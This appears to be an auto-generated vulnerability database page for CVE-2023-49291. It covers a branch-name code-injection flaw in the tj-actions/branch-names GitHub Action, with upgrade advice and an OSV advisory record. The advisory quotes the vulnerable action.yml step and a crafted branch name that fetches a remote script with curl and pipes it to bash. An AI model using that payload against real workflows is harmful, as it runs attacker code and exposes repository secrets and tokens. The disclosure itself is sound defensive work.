CVE-2023-49291: Tj actions/branch names Tj-actions/branch-names's Improper Sanitization Of Branch Vulnerability
CRITICALCVE-2023-49291 is a CRITICAL (CVSS 9.3) tj-actions/branch-names's improper sanitization of branch vulnerability (CWE-20: Improper Input Validation) affecting Tj actions/branch names libraries in the GitHub Actions ecosystem. The issue involves tj-actions/branch-names's improper sanitization of branch name leads to arbitrary code injection. Remediation is available by upgrading affected packages to version 7.0.7.
CVE-2023-49291 at a Glance
Security Impact
CVSS: 9.3
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:H/A:N).
How to Fix CVE-2023-49291
To remediate this vulnerability, upgrade all affected Tj actions/branch names dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
Upgrade tj-actions/branch-names to 7.0.7Run the following command in your project directory to verify that all resolved dependencies use the patched release:
inspect dependencies for tj-actions/branch-namesHow to Check if You Are Affected
To determine whether your application is affected by CVE-2023-49291, inspect your project dependencies for Tj actions/branch names:
inspect dependencies for tj-actions/branch-namesAnalyze the terminal output to locate any version of Tj actions/branch names in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 7.0.7), your application is affected.
Note: Verify declared build manifests and deployed runtime container environments.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-20: Improper Input Validation, where the product receives input or data, but it does not validate or incorrectly validates that the input has the properties that are required to process the data safely and correctly. In Tj actions/branch names, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2023-49291 Affected Tj actions/branch names Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
tj-actions/branch-names
|
GitHub Actions |
< 7.0.7
|
7.0.7
|
References
Frequently Asked Questions
What is CVE-2023-49291?
Which Tj actions/branch names versions are affected?
What version fixes CVE-2023-49291?
Is tj-actions/branch-names affected?
What is the CVSS score of CVE-2023-49291?
What CWE is associated with CVE-2023-49291?
How can I check GitHub Actions dependencies for CVE-2023-49291?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-8v8w-v8xg-79rf",
"modified" : "2023-12-06T20:48:41Z",
"published" : "2023-12-05T23:30:10Z",
"aliases" : [ "CVE-2023-49291" ],
"summary" : "tj-actions/branch-names's Improper Sanitization of Branch Name Leads to Arbitrary Code Injection",
"details" : "### Summary\n\nThe `tj-actions/branch-names` GitHub Actions references the `github.event.pull_request.head.ref` and `github.head_ref` context variables within a GitHub Actions `run` step. The head ref variable is the branch name and can be used to execute arbitrary code using a specially crafted branch name.\n\n### Details \n\nThe vulnerable code is within the `action.yml` file the `run` step references the value directly, instead of a sanitized variable.\n\n```yml\nruns:\n using: \"composite\"\n steps:\n - id: branch\n run: |\n # \"Set branch names...\"\n if [[ \"${{ github.ref }}\" != \"refs/tags/\"* ]]; then\n BASE_REF=$(printf \"%q\" \"${{ github.event.pull_request.base.ref || github.base_ref }}\")\n HEAD_REF=$(printf \"%q\" \"${{ github.event.pull_request.head.ref || github.head_ref }}\")\n REF=$(printf \"%q\" \"${{ github.ref }}\")\n```\n\nAn attacker can use a branch name to inject arbitrary code, for example: `Test\")${IFS}&&${IFS}{curl,-sSfL,gist.githubusercontent.com/RampagingSloth/72511291630c7f95f0d8ffabb3c80fbf/raw/inject.sh}${IFS}|${IFS}bash&&echo${IFS}$(\"foo` will download and run a script from a Gist. This allows an attacker to inject a payload of arbitrary complexity.\n\n### Impact\nAn attacker can use this vulnerability to steal secrets from or abuse `GITHUB_TOKEN` permissions.\n\n### Reference\n- https://securitylab.github.com/research/github-actions-untrusted-input",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:H/A:N"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "GitHub Actions",
"name" : "tj-actions/branch-names"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "7.0.7"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/tj-actions/branch-names/security/advisories/GHSA-8v8w-v8xg-79rf"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2023-49291"
}, {
"type" : "WEB",
"url" : "https://github.com/tj-actions/branch-names/commit/4923d1ca41f928c24f1c1b3af9daaadfb71e6337"
}, {
"type" : "WEB",
"url" : "https://github.com/tj-actions/branch-names/commit/6c999acf206f5561e19f46301bb310e9e70d8815"
}, {
"type" : "WEB",
"url" : "https://github.com/tj-actions/branch-names/commit/726fe9ba5e9da4fcc716223b7994ffd0358af060"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/tj-actions/branch-names"
}, {
"type" : "WEB",
"url" : "https://securitylab.github.com/research/github-actions-untrusted-input"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-20" ],
"severity" : "CRITICAL",
"github_reviewed" : true,
"github_reviewed_at" : "2023-12-05T23:30:10Z",
"nvd_published_at" : "2023-12-05T00:15:09Z"
}
}